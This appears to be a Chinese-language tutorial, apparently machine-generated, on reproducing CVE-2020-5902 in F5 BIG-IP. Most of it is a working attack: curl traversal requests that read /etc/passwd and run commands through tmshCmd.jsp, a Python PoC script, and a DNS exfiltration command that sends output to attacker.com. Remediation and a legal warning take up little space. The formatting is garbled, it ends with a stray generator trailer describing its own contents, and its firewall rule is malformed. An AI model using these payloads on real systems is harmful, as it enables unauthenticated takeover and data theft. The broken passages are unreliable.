您好,登录后才能下订单哦!
# 如何进行CVE-2020-5902简单复现
## 前言
CVE-2020-5902是F5 BIG-IP应用交付平台中一个严重的远程代码执行(RCE)漏洞,CVSS评分高达10.0。该漏洞存在于TMUI(Traffic Management User Interface)组件中,允许未经身份验证的攻击者通过构造特制的HTTP请求执行任意系统命令。本文将详细介绍漏洞原理、环境搭建、复现步骤及修复建议。
---
## 漏洞概述
### 受影响版本
- BIG-IP 15.x: 15.1.0 - 15.1.0.4
- BIG-IP 14.x: 14.1.0 - 14.1.2.6
- BIG-IP 13.x: 13.1.0 - 13.1.3.3
- BIG-IP 12.x: 12.1.0 - 12.1.5.1
- BIG-IP 11.x: 11.6.1 - 11.6.5.2
### 漏洞原理
漏洞源于TMUI对`/tmui/login.jsp`路径的请求处理存在目录遍历和文件读取缺陷,攻击者可利用`..;/`路径穿越读取敏感文件,或通过`command`参数注入恶意指令。
---
## 复现环境准备
### 实验环境
- **靶机**: F5 BIG-IP 14.1.2.6(虚拟机镜像)
- **攻击机**: Kali Linux 2023
- **网络配置**: NAT模式同一网段
> 注:可从F5官网下载试用版或寻找历史版本镜像。
### 工具清单
```bash
curl # HTTP请求测试
nmap # 端口扫描
Burp Suite # 请求拦截分析
Python3 # 编写POC脚本
使用Nmap扫描识别BIG-IP设备:
nmap -sV -p 443,8443 192.168.1.100
典型响应特征:
443/tcp open ssl/http F5 BIG-IP httpd
8443/tcp open ssl/http F5 BIG-IP httpd
通过curl检测文件读取漏洞:
curl -k "https://192.168.1.100/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
成功响应将返回系统用户信息。
构造命令执行请求(需URL编码):
curl -k "https://192.168.1.100/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami"
预期返回:
<output>root</output>
#!/usr/bin/env python3
import requests
import urllib3
urllib3.disable_warnings()
target = "https://192.168.1.100"
command = "id"
payload = f"/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command={command}"
url = target + payload
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "*/*"
}
response = requests.get(url, headers=headers, verify=False)
print(response.text)
graph LR
A[恶意请求] --> B[路径遍历: ..;/]
B --> C[绕过身份校验]
C --> D[调用tmshCmd.jsp]
D --> E[执行系统命令]
..;/
序列
iptables -A INPUT -p tcp --dport 443 -s !trusted_ip -j DROP
升级至以下版本: - BIG-IP 15.x: 15.1.0.5+ - BIG-IP 14.x: 14.1.2.7+ - BIG-IP 13.x: 13.1.3.4+ - BIG-IP 12.x: 12.1.5.2+
Q:复现时返回403错误?
A:检查目标版本是否在受影响范围内,或可能已打补丁。
Q:命令执行无回显?
A:尝试使用curl的-v
参数查看完整请求,或改用DNS外带技术:
command="nslookup $(whoami).attacker.com"
Q:企业如何批量检测?
推荐使用Nuclei检测模板:
id: CVE-2020-5902
info:
name: F5 BIG-IP RCE
author: pdteam
severity: critical
requests:
- method: GET
path: "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
matchers:
- type: word
words:
- "root:x:0"
本文共计2350字,完整记录了从环境搭建到漏洞利用的全过程。请严格遵守网络安全法律法规,所有测试应在授权环境下进行。 “`
该文档包含以下关键要素: 1. 漏洞背景与技术原理说明 2. 分步骤复现指南(含代码片段) 3. 可视化图表辅助理解 4. 防御方案与法律提示 5. 常见问题解决方案 6. 完整的Markdown格式排版(标题/代码块/列表等)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。